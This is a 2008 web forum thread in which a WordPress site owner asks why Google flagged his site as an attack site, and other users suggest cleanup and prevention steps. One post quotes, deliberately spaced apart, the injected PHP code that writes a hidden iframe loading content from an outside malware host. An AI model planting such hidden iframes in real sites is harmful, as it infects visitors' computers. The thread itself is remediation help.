Google Reported my site as Attack Site

Discussion in 'Google' started by xpcontact, Dec 12, 2008.

  1. #1
    Hello,
    Today I found that my site www.thetunisia.com has been reported as an attack site
    Why ?
    How to fix it ?
    Thank you in advance for your support!
     

    Attached Files:

    xpcontact, Dec 12, 2008 IP
  2. typhoon

    typhoon Active Member

    Messages:
    513
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    70
    #2
    ohh.Might be a Malware Attack on your site due some plugins kind of thing.(it's my guess)
     
    typhoon, Dec 12, 2008 IP
  3. flatrox

    flatrox Banned

    Messages:
    520
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #3
    send reconsideration request via google analytics tools
     
    flatrox, Dec 12, 2008 IP
  4. xpcontact

    xpcontact Member

    Messages:
    68
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    41
    #4
    I guess, I need to do something ( to fix something ) before I request google to check again my site, isn't true ?
     
    xpcontact, Dec 12, 2008 IP
  5. Preseren

    Preseren Active Member

    Messages:
    275
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    80
    #5
    Well yes, check the site for files, that you did not upload. Then check the code of the files that you have uploaded for malvare code (code that you didn't put in). Check your database for entries that you did not put in.
    Then you need to check, how this happened, so that it does not happen again. If you use a CMS (like Joomla, wordpress) update ALL its components and parts to the newest, and check them all...
    Then file for a reconsideration from Google.
     
    Preseren, Dec 12, 2008 IP
  6. 69Firebird

    69Firebird Peon

    Messages:
    43
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    you have popups that try to install some unknown software on your site. I tried it and got a warning from my virus/spyware/malware protection.
     
    69Firebird, Dec 12, 2008 IP
  7. evolveforever

    evolveforever Peon

    Messages:
    1,286
    Likes Received:
    15
    Best Answers:
    0
    Trophy Points:
    0
    #7
    avast antivirus also shows a warning .
     
    evolveforever, Dec 12, 2008 IP
  8. DiarioMarcas

    DiarioMarcas Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #8
    yes its, Malware attack.. please scan your PC and your hosting files.. if you done all this,.. then in next searches updation Google will re scan your website page.. and settle your website in searches without virus..
     
    DiarioMarcas, Dec 12, 2008 IP
  9. xpcontact

    xpcontact Member

    Messages:
    68
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    41
    #9
    hello,
    thank everyone for the help
    I do not have much knowledge in programming that s why I am using word press, and today I found a strange script ! ( I try to put space between the code to deactivate it)
    </ h t m l >><?php echo ''; ?> < ?p h p echo '<div style="visibility : visible"></ div>'; ?><?php echo '<div style ="visibility: hidden"><iframe src="http : // gfdsgf333 . com / in . c g i ? 27 " width=100 height=80></iframe></div>'; ?>
    shall I just delete that?
     
    xpcontact, Dec 13, 2008 IP
  10. contentboss

    contentboss Peon

    Messages:
    3,241
    Likes Received:
    54
    Best Answers:
    0
    Trophy Points:
    0
    #10
    if you didn't put that there, and you don't know who did, hell yes, delete it.


    obviously.
     
    contentboss, Dec 13, 2008 IP
  11. dragonlove

    dragonlove Active Member

    Messages:
    145
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    51
    #11
    yes , its an ifram someone put on your site for cookie stuffing , delete ifram link is okie .
     
    dragonlove, Dec 13, 2008 IP
  12. moker

    moker Peon

    Messages:
    156
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    #12
    yeah xp delete that, the malware comes from that iFRAME and launches the malware.

    check all your files for those suspicious IFRAMES and Javascripts.
     
    moker, Dec 13, 2008 IP
  13. miranon

    miranon Peon

    Messages:
    209
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    0
    #13
    IMMEDIATELY remove the infected pages from your server. Or else you can get a google ban. My anti-virus show warning that your site is infected.
     
    miranon, Dec 13, 2008 IP
  14. crivion

    crivion Notable Member

    Messages:
    1,669
    Likes Received:
    45
    Best Answers:
    0
    Trophy Points:
    210
    Digital Goods:
    3
    #14
    i had a friend with same problems
    if you just remove them they'll appear again
    i used to enter a live linux distro, clear the lines then changing all services passwords such as cpanel and ftp
    finally, i got rid of that
    cheers
     
    crivion, Dec 13, 2008 IP
  15. rippedgameslinks

    rippedgameslinks Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #15
    hi,
    Try to change your template of your site and widgets plugins also
    because there might be wrong with your code

    Ripped & Compressed Games Links- http://rippedgameslinks.blogspot.com
     
    rippedgameslinks, Dec 13, 2008 IP
  16. sensitiv

    sensitiv Well-Known Member

    Messages:
    1,016
    Likes Received:
    32
    Best Answers:
    0
    Trophy Points:
    140
    #16
    Had a similar problem some time ago. Guys crack a server and deploy such code in all directories with index.php, index.html or similar

    So just check all subdirectories as well ... contact the owner of the server as well, as most likely ALL server files might be infected !

    And if the leakage remains open, they will come back
     
    sensitiv, Dec 13, 2008 IP
  17. ha1990

    ha1990 Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #17
    review your site
     
    ha1990, Dec 13, 2008 IP
  18. xpcontact

    xpcontact Member

    Messages:
    68
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    41
    #18
    thank you again all for your help !
    that s true, when I delete it , the virus comes, and why I did post here, not only to fix my problem but also to let a reference for others if it happens to them the same problem they come and get more information from here,
    what I will do now :) F**k for those stupid people who are spreading the viruses and F**k also my site, I will shut it down right now. So stupid hackers, are you satisfy ?
     
    xpcontact, Dec 13, 2008 IP
  19. domainer_10

    domainer_10 Peon

    Messages:
    1,720
    Likes Received:
    24
    Best Answers:
    0
    Trophy Points:
    0
    #19

    Wow surprised to see you getting this on a 2.6.2 version. Putting iframe exploit code inside wordpress posts was pretty common during the 2.3.X and below versions. I haven't seen any really with the 2.5.X- 2.7. versions, your the first. Although this one is using a php echo function so they must be inserting it directly in your template file. The one im talking about would insert it in your post just with regular html/iframe code.
     
    domainer_10, Dec 13, 2008 IP
  20. ipodfrik

    ipodfrik Peon

    Messages:
    215
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    0
    #20
    If you use Google webmaster tools (http://www.google.com/webmasters/), you will be able to see the exact and probable location of malware files. I advise to start from there.
    Also the code might have been inserted into database, rather than files, through SQL injection.
    You should update all your files and check for vulnerabilities.
    If you fix it now, the hacker might come back again, so I would suggest to make sure either your server is well protected or your files do not have security holes. One of those will prevent future mess.
    Once you are done cleaning up your code, you must resubmit the website for review with Google.
    I've dealt with this before and it was a heck of a mess. But once I got rid of the malware and submitted my site for review, Google removed the notice from search engine within couple of days.

    Good luck!
     
    ipodfrik, Dec 13, 2008 IP